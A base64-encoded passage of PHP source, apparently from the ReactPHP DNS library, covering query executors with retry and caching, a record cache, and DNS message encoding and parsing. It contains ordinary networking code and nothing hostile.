YXkpICRxdWVyeTsKICAgICAgICAkcmVxdWVzdC0+cHJlcGFyZSgpOwoKICAgICAgICByZXR1cm4gJHJlcXVlc3Q7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGRvUXVlcnkoJG5hbWVzZXJ2ZXIsICR0cmFuc3BvcnQsICRxdWVyeURhdGEsICRuYW1lKQogICAgewogICAgICAgICR0aGF0ID0gJHRoaXM7CiAgICAgICAgJHBhcnNlciA9ICR0aGlzLT5wYXJzZXI7CiAgICAgICAgJGxvb3AgPSAkdGhpcy0+bG9vcDsKCiAgICAgICAgJHJlc3BvbnNlID0gbmV3IE1lc3NhZ2UoKTsKICAgICAgICAkZGVmZXJyZWQgPSBuZXcgRGVmZXJyZWQoKTsKCiAgICAgICAgJHJldHJ5V2l0aFRjcCA9IGZ1bmN0aW9uICgpIHVzZSAoJHRoYXQsICRuYW1lc2VydmVyLCAkcXVlcnlEYXRhLCAkbmFtZSkgewogICAgICAgICAgICByZXR1cm4gJHRoYXQtPmRvUXVlcnkoJG5hbWVzZXJ2ZXIsICd0Y3AnLCAkcXVlcnlEYXRhLCAkbmFtZSk7CiAgICAgICAgfTsKCiAgICAgICAgJHRpbWVyID0gJHRoaXMtPmxvb3AtPmFkZFRpbWVyKCR0aGlzLT50aW1lb3V0LCBmdW5jdGlvbiAoKSB1c2UgKCYkY29ubiwgJG5hbWUsICRkZWZlcnJlZCkgewogICAgICAgICAgICAkY29ubi0+Y2xvc2UoKTsKICAgICAgICAgICAgJGRlZmVycmVkLT5yZWplY3QobmV3IFRpbWVvdXRFeGNlcHRpb24oc3ByaW50ZigiRE5TIHF1ZXJ5IGZvciAlcyB0aW1lZCBvdXQiLCAkbmFtZSkpKTsKICAgICAgICB9KTsKCiAgICAgICAgJGNvbm4gPSAkdGhpcy0+Y3JlYXRlQ29ubmVjdGlvbigkbmFtZXNlcnZlciwgJHRyYW5zcG9ydCk7CiAgICAgICAgJGNvbm4tPm9uKCdkYXRhJywgZnVuY3Rpb24gKCRkYXRhKSB1c2UgKCRyZXRyeVdpdGhUY3AsICRjb25uLCAkcGFyc2VyLCAkcmVzcG9uc2UsICR0cmFuc3BvcnQsICRkZWZlcnJlZCwgJHRpbWVyKSB7CiAgICAgICAgICAgICRyZXNwb25zZVJlYWR5ID0gJHBhcnNlci0+cGFyc2VDaHVuaygkZGF0YSwgJHJlc3BvbnNlKTsKCiAgICAgICAgICAgIGlmICghJHJlc3BvbnNlUmVhZHkpIHsKICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHRpbWVyLT5jYW5jZWwoKTsKCiAgICAgICAgICAgIGlmICgkcmVzcG9uc2UtPmhlYWRlci0+aXNUcnVuY2F0ZWQoKSkgewogICAgICAgICAgICAgICAgaWYgKCd0Y3AnID09PSAkdHJhbnNwb3J0KSB7CiAgICAgICAgICAgICAgICAgICAgJGRlZmVycmVkLT5yZWplY3QobmV3IEJhZFNlcnZlckV4Y2VwdGlvbignVGhlIHNlcnZlciBzZXQgdGhlIHRydW5jYXRlZCBiaXQgYWx0aG91Z2ggd2UgaXNzdWVkIGEgVENQIHJlcXVlc3QnKSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjb25uLT5lbmQoKTsKICAgICAgICAgICAgICAgICAgICAkZGVmZXJyZWQtPnJlc29sdmUoJHJldHJ5V2l0aFRjcCgpKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRjb25uLT5lbmQoKTsKICAgICAgICAgICAgJGRlZmVycmVkLT5yZXNvbHZlKCRyZXNwb25zZSk7CiAgICAgICAgfSk7CiAgICAgICAgJGNvbm4tPndyaXRlKCRxdWVyeURhdGEpOwoKICAgICAgICByZXR1cm4gJGRlZmVycmVkLT5wcm9taXNlKCk7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGdlbmVyYXRlSWQoKQogICAgewogICAgICAgIHJldHVybiBtdF9yYW5kKDAsIDB4ZmZmZik7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGNyZWF0ZUNvbm5lY3Rpb24oJG5hbWVzZXJ2ZXIsICR0cmFuc3BvcnQpCiAgICB7CiAgICAgICAgJGZkID0gc3RyZWFtX3NvY2tldF9jbGllbnQoIiR0cmFuc3BvcnQ6Ly8kbmFtZXNlcnZlciIpOwogICAgICAgICRjb25uID0gbmV3IENvbm5lY3Rpb24oJGZkLCAkdGhpcy0+bG9vcCk7CgogICAgICAgIHJldHVybiAkY29ubjsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XERuc1xRdWVyeTsKCnVzZSBSZWFjdFxQcm9taXNlXERlZmVycmVkOwoKY2xhc3MgUmV0cnlFeGVjdXRvciBpbXBsZW1lbnRzIEV4ZWN1dG9ySW50ZXJmYWNlCnsKICAgIHByaXZhdGUgJGV4ZWN1dG9yOwogICAgcHJpdmF0ZSAkcmV0cmllczsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoRXhlY3V0b3JJbnRlcmZhY2UgJGV4ZWN1dG9yLCAkcmV0cmllcyA9IDIpCiAgICB7CiAgICAgICAgJHRoaXMtPmV4ZWN1dG9yID0gJGV4ZWN1dG9yOwogICAgICAgICR0aGlzLT5yZXRyaWVzID0gJHJldHJpZXM7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHF1ZXJ5KCRuYW1lc2VydmVyLCBRdWVyeSAkcXVlcnkpCiAgICB7CiAgICAgICAgJGRlZmVycmVkID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICR0aGlzLT50cnlRdWVyeSgkbmFtZXNlcnZlciwgJHF1ZXJ5LCAkdGhpcy0+cmV0cmllcywgJGRlZmVycmVkLT5yZXNvbHZlcigpKTsKCiAgICAgICAgcmV0dXJuICRkZWZlcnJlZC0+cHJvbWlzZSgpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0cnlRdWVyeSgkbmFtZXNlcnZlciwgUXVlcnkgJHF1ZXJ5LCAkcmV0cmllcywgJHJlc29sdmVyKQogICAgewogICAgICAgICR0aGF0ID0gJHRoaXM7CiAgICAgICAgJGVycm9yYmFjayA9IGZ1bmN0aW9uICgkZXJyb3IpIHVzZSAoJG5hbWVzZXJ2ZXIsICRxdWVyeSwgJHJldHJpZXMsICRyZXNvbHZlciwgJHRoYXQpIHsKICAgICAgICAgICAgaWYgKCEkZXJyb3IgaW5zdGFuY2VvZiBUaW1lb3V0RXhjZXB0aW9uKSB7CiAgICAgICAgICAgICAgICAkcmVzb2x2ZXItPnJlamVjdCgkZXJyb3IpOwogICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgwID49ICRyZXRyaWVzKSB7CiAgICAgICAgICAgICAgICAkZXJyb3IgPSBuZXcgXFJ1bnRpbWVFeGNlcHRpb24oCiAgICAgICAgICAgICAgICAgICAgc3ByaW50ZigiRE5TIHF1ZXJ5IGZvciAlcyBmYWlsZWQ6IHRvbyBtYW55IHJldHJpZXMiLCAkcXVlcnktPm5hbWUpLAogICAgICAgICAgICAgICAgICAgIDAsCiAgICAgICAgICAgICAgICAgICAgJGVycm9yCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHJlc29sdmVyLT5yZWplY3QoJGVycm9yKTsKICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkdGhhdC0+dHJ5UXVlcnkoJG5hbWVzZXJ2ZXIsICRxdWVyeSwgJHJldHJpZXMtMSwgJHJlc29sdmVyKTsKICAgICAgICB9OwoKICAgICAgICAkdGhpcy0+ZXhlY3V0b3IKICAgICAgICAgICAgLT5xdWVyeSgkbmFtZXNlcnZlciwgJHF1ZXJ5KQogICAgICAgICAgICAtPnRoZW4oYXJyYXkoJHJlc29sdmVyLCAncmVzb2x2ZScpLCAkZXJyb3JiYWNrKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XERuc1xRdWVyeTsKCnVzZSBSZWFjdFxDYWNoZVxDYWNoZUludGVyZmFjZTsKdXNlIFJlYWN0XERuc1xNb2RlbFxNZXNzYWdlOwp1c2UgUmVhY3RcRG5zXE1vZGVsXFJlY29yZDsKdXNlIFJlYWN0XFByb21pc2VcV2hlbjsKCmNsYXNzIFJlY29yZENhY2hlCnsKICAgIHByaXZhdGUgJGNhY2hlOwogICAgcHJpdmF0ZSAkZXhwaXJlZEF0OwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChDYWNoZUludGVyZmFjZSAkY2FjaGUpCiAgICB7CiAgICAgICAgJHRoaXMtPmNhY2hlID0gJGNhY2hlOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBsb29rdXAoUXVlcnkgJHF1ZXJ5KQogICAgewogICAgICAgICRpZCA9ICR0aGlzLT5zZXJpYWxpemVRdWVyeVRvSWRlbnRpdHkoJHF1ZXJ5KTsKCiAgICAgICAgJGV4cGlyZWRBdCA9ICR0aGlzLT5leHBpcmVkQXQ7CgogICAgICAgIHJldHVybiAkdGhpcy0+Y2FjaGUKICAgICAgICAgICAgLT5nZXQoJGlkKQogICAgICAgICAgICAtPnRoZW4oZnVuY3Rpb24gKCR2YWx1ZSkgdXNlICgkcXVlcnksICRleHBpcmVkQXQpIHsKICAgICAgICAgICAgICAgICRyZWNvcmRCYWcgPSB1bnNlcmlhbGl6ZSgkdmFsdWUpOwoKICAgICAgICAgICAgICAgIGlmIChudWxsICE9PSAkZXhwaXJlZEF0ICYmICRleHBpcmVkQXQgPD0gJHF1ZXJ5LT5jdXJyZW50VGltZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBXaGVuOjpyZWplY3QoKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlY29yZEJhZy0+YWxsKCk7CiAgICAgICAgICAgIH0pOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBzdG9yZVJlc3BvbnNlTWVzc2FnZSgkY3VycmVudFRpbWUsIE1lc3NhZ2UgJG1lc3NhZ2UpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJG1lc3NhZ2UtPmFuc3dlcnMgYXMgJHJlY29yZCkgewogICAgICAgICAgICAkdGhpcy0+c3RvcmVSZWNvcmQoJGN1cnJlbnRUaW1lLCAkcmVjb3JkKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHN0b3JlUmVjb3JkKCRjdXJyZW50VGltZSwgUmVjb3JkICRyZWNvcmQpCiAgICB7CiAgICAgICAgJGlkID0gJHRoaXMtPnNlcmlhbGl6ZVJlY29yZFRvSWRlbnRpdHkoJHJlY29yZCk7CgogICAgICAgICRjYWNoZSA9ICR0aGlzLT5jYWNoZTsKCiAgICAgICAgJHRoaXMtPmNhY2hlCiAgICAgICAgICAgIC0+Z2V0KCRpZCkKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgZnVuY3Rpb24gKCR2YWx1ZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiB1bnNlcmlhbGl6ZSgkdmFsdWUpOwogICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgIGZ1bmN0aW9uICgkZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBuZXcgUmVjb3JkQmFnKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICkKICAgICAgICAgICAgLT50aGVuKGZ1bmN0aW9uICgkcmVjb3JkQmFnKSB1c2UgKCRpZCwgJGN1cnJlbnRUaW1lLCAkcmVjb3JkLCAkY2FjaGUpIHsKICAgICAgICAgICAgICAgICRyZWNvcmRCYWctPnNldCgkY3VycmVudFRpbWUsICRyZWNvcmQpOwogICAgICAgICAgICAgICAgJGNhY2hlLT5zZXQoJGlkLCBzZXJpYWxpemUoJHJlY29yZEJhZykpOwogICAgICAgICAgICB9KTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZXhwaXJlKCRjdXJyZW50VGltZSkKICAgIHsKICAgICAgICAkdGhpcy0+ZXhwaXJlZEF0ID0gJGN1cnJlbnRUaW1lOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBzZXJpYWxpemVRdWVyeVRvSWRlbnRpdHkoUXVlcnkgJHF1ZXJ5KQogICAgewogICAgICAgIHJldHVybiBzcHJpbnRmKCclczolczolcycsICRxdWVyeS0+bmFtZSwgJHF1ZXJ5LT50eXBlLCAkcXVlcnktPmNsYXNzKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VyaWFsaXplUmVjb3JkVG9JZGVudGl0eShSZWNvcmQgJHJlY29yZCkKICAgIHsKICAgICAgICByZXR1cm4gc3ByaW50ZignJXM6JXM6JXMnLCAkcmVjb3JkLT5uYW1lLCAkcmVjb3JkLT50eXBlLCAkcmVjb3JkLT5jbGFzcyk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxEbnNcUXVlcnk7Cgp1c2UgUmVhY3RcRG5zXE1vZGVsXE1lc3NhZ2U7CnVzZSBSZWFjdFxEbnNcTW9kZWxcUmVjb3JkOwp1c2UgUmVhY3RcUHJvbWlzZVxXaGVuOwoKY2xhc3MgQ2FjaGVkRXhlY3V0b3IgaW1wbGVtZW50cyBFeGVjdXRvckludGVyZmFjZQp7CiAgICBwcml2YXRlICRleGVjdXRvcjsKICAgIHByaXZhdGUgJGNhY2hlOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChFeGVjdXRvckludGVyZmFjZSAkZXhlY3V0b3IsIFJlY29yZENhY2hlICRjYWNoZSkKICAgIHsKICAgICAgICAkdGhpcy0+ZXhlY3V0b3IgPSAkZXhlY3V0b3I7CiAgICAgICAgJHRoaXMtPmNhY2hlID0gJGNhY2hlOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBxdWVyeSgkbmFtZXNlcnZlciwgUXVlcnkgJHF1ZXJ5KQogICAgewogICAgICAgICR0aGF0ID0gJHRoaXM7CiAgICAgICAgJGV4ZWN1dG9yID0gJHRoaXMtPmV4ZWN1dG9yOwogICAgICAgICRjYWNoZSA9ICR0aGlzLT5jYWNoZTsKCiAgICAgICAgcmV0dXJuICR0aGlzLT5jYWNoZQogICAgICAgICAgICAtPmxvb2t1cCgkcXVlcnkpCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgIGZ1bmN0aW9uICgkY2FjaGVkUmVjb3JkcykgdXNlICgkdGhhdCwgJHF1ZXJ5KSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGF0LT5idWlsZFJlc3BvbnNlKCRxdWVyeSwgJGNhY2hlZFJlY29yZHMpOwogICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgIGZ1bmN0aW9uICgpIHVzZSAoJGV4ZWN1dG9yLCAkY2FjaGUsICRuYW1lc2VydmVyLCAkcXVlcnkpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGV4ZWN1dG9yCiAgICAgICAgICAgICAgICAgICAgICAgIC0+cXVlcnkoJG5hbWVzZXJ2ZXIsICRxdWVyeSkKICAgICAgICAgICAgICAgICAgICAgICAgLT50aGVuKGZ1bmN0aW9uICgkcmVzcG9uc2UpIHVzZSAoJGNhY2hlLCAkcXVlcnkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYWNoZS0+c3RvcmVSZXNwb25zZU1lc3NhZ2UoJHF1ZXJ5LT5jdXJyZW50VGltZSwgJHJlc3BvbnNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcmVzcG9uc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICApOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBidWlsZFJlc3BvbnNlKFF1ZXJ5ICRxdWVyeSwgYXJyYXkgJGNhY2hlZFJlY29yZHMpCiAgICB7CiAgICAgICAgJHJlc3BvbnNlID0gbmV3IE1lc3NhZ2UoKTsKCiAgICAgICAgJHJlc3BvbnNlLT5oZWFkZXItPnNldCgnaWQnLCAkdGhpcy0+Z2VuZXJhdGVJZCgpKTsKICAgICAgICAkcmVzcG9uc2UtPmhlYWRlci0+c2V0KCdxcicsIDEpOwogICAgICAgICRyZXNwb25zZS0+aGVhZGVyLT5zZXQoJ29wY29kZScsIE1lc3NhZ2U6Ok9QQ09ERV9RVUVSWSk7CiAgICAgICAgJHJlc3BvbnNlLT5oZWFkZXItPnNldCgncmQnLCAxKTsKICAgICAgICAkcmVzcG9uc2UtPmhlYWRlci0+c2V0KCdyY29kZScsIE1lc3NhZ2U6OlJDT0RFX09LKTsKCiAgICAgICAgJHJlc3BvbnNlLT5xdWVzdGlvbnNbXSA9IG5ldyBSZWNvcmQoJHF1ZXJ5LT5uYW1lLCAkcXVlcnktPnR5cGUsICRxdWVyeS0+Y2xhc3MpOwoKICAgICAgICBmb3JlYWNoICgkY2FjaGVkUmVjb3JkcyBhcyAkcmVjb3JkKSB7CiAgICAgICAgICAgICRyZXNwb25zZS0+YW5zd2Vyc1tdID0gJHJlY29yZDsKICAgICAgICB9CgogICAgICAgICRyZXNwb25zZS0+cHJlcGFyZSgpOwoKICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZW5lcmF0ZUlkKCkKICAgIHsKICAgICAgICByZXR1cm4gbXRfcmFuZCgwLCAweGZmZmYpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRG5zXFByb3RvY29sOwoKdXNlIFJlYWN0XERuc1xNb2RlbFxNZXNzYWdlOwp1c2UgUmVhY3RcRG5zXE1vZGVsXEhlYWRlckJhZzsKCmNsYXNzIEJpbmFyeUR1bXBlcgp7CiAgICBwdWJsaWMgZnVuY3Rpb24gdG9CaW5hcnkoTWVzc2FnZSAkbWVzc2FnZSkKICAgIHsKICAgICAgICAkZGF0YSA9ICcnOwoKICAgICAgICAkZGF0YSAuPSAkdGhpcy0+aGVhZGVyVG9CaW5hcnkoJG1lc3NhZ2UtPmhlYWRlcik7CiAgICAgICAgJGRhdGEgLj0gJHRoaXMtPnF1ZXN0aW9uVG9CaW5hcnkoJG1lc3NhZ2UtPnF1ZXN0aW9ucyk7CgogICAgICAgIHJldHVybiAkZGF0YTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIGhlYWRlclRvQmluYXJ5KEhlYWRlckJhZyAkaGVhZGVyKQogICAgewogICAgICAgICRkYXRhID0gJyc7CgogICAgICAgICRkYXRhIC49IHBhY2soJ24nLCAkaGVhZGVyLT5nZXQoJ2lkJykpOwoKICAgICAgICAkZmxhZ3MgPSAweDAwOwogICAgICAgICRmbGFncyA9ICgkZmxhZ3MgPDwgMSkgfCAkaGVhZGVyLT5nZXQoJ3FyJyk7CiAgICAgICAgJGZsYWdzID0gKCRmbGFncyA8PCA0KSB8ICRoZWFkZXItPmdldCgnb3Bjb2RlJyk7CiAgICAgICAgJGZsYWdzID0gKCRmbGFncyA8PCAxKSB8ICRoZWFkZXItPmdldCgnYWEnKTsKICAgICAgICAkZmxhZ3MgPSAoJGZsYWdzIDw8IDEpIHwgJGhlYWRlci0+Z2V0KCd0YycpOwogICAgICAgICRmbGFncyA9ICgkZmxhZ3MgPDwgMSkgfCAkaGVhZGVyLT5nZXQoJ3JkJyk7CiAgICAgICAgJGZsYWdzID0gKCRmbGFncyA8PCAxKSB8ICRoZWFkZXItPmdldCgncmEnKTsKICAgICAgICAkZmxhZ3MgPSAoJGZsYWdzIDw8IDMpIHwgJGhlYWRlci0+Z2V0KCd6Jyk7CiAgICAgICAgJGZsYWdzID0gKCRmbGFncyA8PCA0KSB8ICRoZWFkZXItPmdldCgncmNvZGUnKTsKCiAgICAgICAgJGRhdGEgLj0gcGFjaygnbicsICRmbGFncyk7CgogICAgICAgICRkYXRhIC49IHBhY2soJ24nLCAkaGVhZGVyLT5nZXQoJ3FkQ291bnQnKSk7CiAgICAgICAgJGRhdGEgLj0gcGFjaygnbicsICRoZWFkZXItPmdldCgnYW5Db3VudCcpKTsKICAgICAgICAkZGF0YSAuPSBwYWNrKCduJywgJGhlYWRlci0+Z2V0KCduc0NvdW50JykpOwogICAgICAgICRkYXRhIC49IHBhY2soJ24nLCAkaGVhZGVyLT5nZXQoJ2FyQ291bnQnKSk7CgogICAgICAgIHJldHVybiAkZGF0YTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIHF1ZXN0aW9uVG9CaW5hcnkoYXJyYXkgJHF1ZXN0aW9ucykKICAgIHsKICAgICAgICAkZGF0YSA9ICcnOwoKICAgICAgICBmb3JlYWNoICgkcXVlc3Rpb25zIGFzICRxdWVzdGlvbikgewogICAgICAgICAgICAkbGFiZWxzID0gZXhwbG9kZSgnLicsICRxdWVzdGlvblsnbmFtZSddKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGxhYmVscyBhcyAkbGFiZWwpIHsKICAgICAgICAgICAgICAgICRkYXRhIC49IGNocihzdHJsZW4oJGxhYmVsKSkuJGxhYmVsOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRkYXRhIC49ICJceDAwIjsKCiAgICAgICAgICAgICRkYXRhIC49IHBhY2soJ24qJywgJHF1ZXN0aW9uWyd0eXBlJ10sICRxdWVzdGlvblsnY2xhc3MnXSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJGRhdGE7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxEbnNcUHJvdG9jb2w7Cgp1c2UgUmVhY3RcRG5zXE1vZGVsXE1lc3NhZ2U7CnVzZSBSZWFjdFxEbnNcTW9kZWxcUmVjb3JkOwoKLyoqCiAqIEROUyBwcm90b2NvbCBwYXJzZXIKICoKICogT2Jzb2xldGUgYW5kIHVuY29tbW9uIHR5cGVzIGFuZCBjbGFzc2VzIGFyZSBub3QgaW1wbGVtZW50ZWQuCiAqLwpjbGFzcyBQYXJzZXIKewogICAgcHVibGljIGZ1bmN0aW9uIHBhcnNlQ2h1bmsoJGRhdGEsIE1lc3NhZ2UgJG1lc3NhZ2UpCiAgICB7CiAgICAgICAgJG1lc3NhZ2UtPmRhdGEgLj0gJGRhdGE7CgogICAgICAgIGlmICghJG1lc3NhZ2UtPmhlYWRlci0+Z2V0KCdpZCcpKSB7CiAgICAgICAgICAgIGlmICghJHRoaXMtPnBhcnNlSGVhZGVyKCRtZXNzYWdlKSkgewogICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG1lc3NhZ2UtPmhlYWRlci0+Z2V0KCdxZENvdW50JykgIT0gY291bnQoJG1lc3NhZ2UtPnF1ZXN0aW9ucykpIHsKICAgICAgICAgICAgaWYgKCEkdGhpcy0+cGFyc2VRdWVzdGlvbigkbWVzc2FnZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRtZXNzYWdlLT5oZWFkZXItPmdldCgnYW5Db3VudCcpICE9IGNvdW50KCRtZXNzYWdlLT5hbnN3ZXJzKSkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5wYXJzZUFuc3dlcigkbWVzc2FnZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBwYXJzZUhlYWRlcihNZXNzYWdlICRtZXNzYWdlKQogICAgewogICAgICAgIGlmIChzdHJsZW4oJG1lc3NhZ2UtPmRhdGEpIDwgMTIpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgJGhlYWRlciA9IHN1YnN0cigkbWVzc2FnZS0+ZGF0YSwgMCwgMTIpOwogICAgICAgICRtZXNzYWdlLT5jb25zdW1lZCArPSAxMjsKCiAgICAgICAgbGlzdCgkaWQsICRmaWVsZHMsICRxZENvdW50LCAkYW5Db3VudCwgJG5zQ291bnQsICRhckNvdW50KSA9IGFycmF5X3ZhbHVlcyh1bnBhY2soJ24qJywgJGhlYWRlcikpOwoKICAgICAgICAkcmNvZGUgPSAkZmllbGRzICYgYmluZGVjKCcxMTExJyk7CiAgICAgICAgJHogPSAoJGZpZWxkcyA+PiA0KSAmIGJpbmRlYygnMTExJyk7CiAgICAgICAgJHJhID0gKCRmaWVsZHMgPj4gNykgJiAxOwogICAgICAgICRyZCA9ICgkZmllbGRzID4+IDgpICYgMTsKICAgICAgICAkdGMgPSAoJGZpZWxkcyA+PiA5KSAmIDE7CiAgICAgICAgJGFhID0gKCRmaWVsZHMgPj4gMTApICYgMTsKICAgICAgICAkb3Bjb2RlID0gKCRmaWVsZHMgPj4gMTEpICYgYmluZGVjKCcxMTExJyk7CiAgICAgICAgJHFyID0gKCRmaWVsZHMgPj4gMTUpICYgMTsKCiAgICAgICAgJHZhcnMgPSBjb21wYWN0KCdpZCcsICdxZENvdW50JywgJ2FuQ291bnQnLCAnbnNDb3VudCcsICdhckNvdW50JywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdxcicsICdvcGNvZGUnLCAnYWEnLCAndGMnLCAncmQnLCAncmEnLCAneicsICdyY29kZScpOwoKCiAgICAgICAgZm9yZWFjaCAoJHZhcnMgYXMgJG5hbWUgPT4gJHZhbHVlKSB7CiAgICAgICAgICAgICRtZXNzYWdlLT5oZWFkZXItPnNldCgkbmFtZSwgJHZhbHVlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAkbWVzc2FnZTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VRdWVzdGlvbihNZXNzYWdlICRtZXNzYWdlKQogICAgewogICAgICAgIGlmIChzdHJsZW4oJG1lc3NhZ2UtPmRhdGEpIDwgMikgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICAkY29uc3VtZWQgPSAkbWVzc2FnZS0+Y29uc3VtZWQ7CgogICAgICAgIGxpc3QoJGxhYmVscywgJGNvbnN1bWVkKSA9ICR0aGlzLT5yZWFkTGFiZWxzKCRtZXNzYWdlLT5kYXRhLCAkY29uc3VtZWQpOwoKICAgICAgICBpZiAobnVsbCA9PT0gJGxhYmVscykgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICBpZiAoc3RybGVuKCRtZXNzYWdlLT5kYXRhKSAtICRjb25zdW1lZCA8IDQpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgbGlzdCgkdHlwZSwgJGNsYXNzKSA9IGFycmF5X3ZhbHVlcyh1bnBhY2soJ24qJywgc3Vic3RyKCRtZXNzYWdlLT5kYXRhLCAkY29uc3VtZWQsIDQpKSk7CiAgICAgICAgJGNvbnN1bWVkICs9IDQ7CgogICAgICAgICRtZXNzYWdlLT5jb25zdW1lZCA9ICRjb25zdW1lZDsKCiAgICAgICAgJG1lc3NhZ2UtPnF1ZXN0aW9uc1tdID0gYXJyYXkoCiAgICAgICAgICAgICduYW1lJyA9PiBpbXBsb2RlKCcuJywgJGxhYmVscyksCiAgICAgICAgICAgICd0eXBlJyA9PiAkdHlwZSwKICAgICAgICAgICAgJ2NsYXNzJyA9PiAkY2xhc3MsCiAgICAgICAgKTsKCiAgICAgICAgaWYgKCRtZXNzYWdlLT5oZWFkZXItPmdldCgncWRDb3VudCcpICE9IGNvdW50KCRtZXNzYWdlLT5xdWVzdGlvbnMpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cGFyc2VRdWVzdGlvbigkbWVzc2FnZSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJG1lc3NhZ2U7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHBhcnNlQW5zd2VyKE1lc3NhZ2UgJG1lc3NhZ2UpCiAgICB7CiAgICAgICAgaWYgKHN0cmxlbigkbWVzc2FnZS0+ZGF0YSkgPCAyKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgICRjb25zdW1lZCA9ICRtZXNzYWdlLT5jb25zdW1lZDsKCiAgICAgICAgbGlzdCgkbGFiZWxzLCAkY29uc3VtZWQpID0gJHRoaXMtPnJlYWRMYWJlbHMoJG1lc3NhZ2UtPmRhdGEsICRjb25zdW1lZCk7CgogICAgICAgIGlmIChudWxsID09PSAkbGFiZWxzKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgIGlmIChzdHJsZW4oJG1lc3NhZ2UtPmRhdGEpIC0gJGNvbnN1bWVkIDwgMTApIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgbGlzdCgkdHlwZSwgJGNsYXNzKSA9IGFycmF5X3ZhbHVlcyh1bnBhY2soJ24qJywgc3Vic3RyKCRtZXNzYWdlLT5kYXRhLCAkY29uc3VtZWQsIDQpKSk7CiAgICAgICAgJGNvbnN1bWVkICs9IDQ7CgogICAgICAgIGxpc3QoJHR0bCkgPSBhcnJheV92YWx1ZXModW5wYWNrKCdOJywgc3Vic3RyKCRtZXNzYWdlLT5kYXRhLCAkY29uc3VtZWQsIDQpKSk7CiAgICAgICAg